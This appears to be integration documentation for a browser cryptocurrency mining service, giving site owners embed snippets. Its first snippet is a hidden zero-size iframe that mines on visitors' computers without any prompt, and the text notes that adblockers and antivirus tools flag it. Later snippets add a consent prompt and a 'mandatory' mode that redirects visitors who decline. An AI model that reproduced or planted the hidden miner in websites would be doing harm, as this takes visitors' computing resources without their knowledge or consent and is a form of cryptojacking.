We provide a miner which is able to start automatically without disrupting visitors by any prompts.
However, keep in mind that this kind of mining is often treated badly by adblockers and antiviruses.
<iframe width=0 height=0 frameborder=0 src='https://webmine.cz/worker?key=[YOUR_API_KEY]'></iframe>
Every of our miners exposes nomobile parameter causing that mining on mobile devices won't start.
<iframe width=0 height=0 frameborder=0 src='https://webmine.cz/worker?key=[YOUR_API_KEY]&nomobile=1'></iframe>
This is a visitor friendly miner, which will show a prompt to allow or decline mining on their computer. Therefore, it shouldn't be adblocked or detected via antivirus software as discussed in our manifest.
<script src='https://authedwebmine.cz/authedminer.js?key=[YOUR_API_KEY]' async></script>
Permission settings is handy for prompt behaviour testing during integration with your site https://authedwebmine.cz/permission_settings?key=[YOUR_API_KEY]
Some websites can't work without income from mining. Therefore, we offer a mandatory mining prompt.
<script src='https://authedwebmine.cz/authedminer.js?key=[YOUR_API_KEY]&mandatory=1' async></script>
This setup requires declined event handling via javascript to redirect user on a different page.
The following example redirects every user which does not agree with mining on some [EXPLANATION_PAGE] (don't forget to insert your own explanation page url instead) that will explain why the mining is mandatory.
The [EXPLANATION_PAGE] has a backlink parameter that can be used to redirect the user back in case they changed their mind after explanation and will participate in mining.
<script> window.authedwebmineOnDeclined = function () { var uri = encodeURIComponent(window.location); window.location.replace('[EXPLANATION_PAGE]?backlink=' + uri); }; </script>
Our miners expose several Javascript methods that could improve integration into a website. However, those features are not documentated properly yet (we are working on it).
If you would like to use these features before documentation is prepared, feel free to contact us for additional details.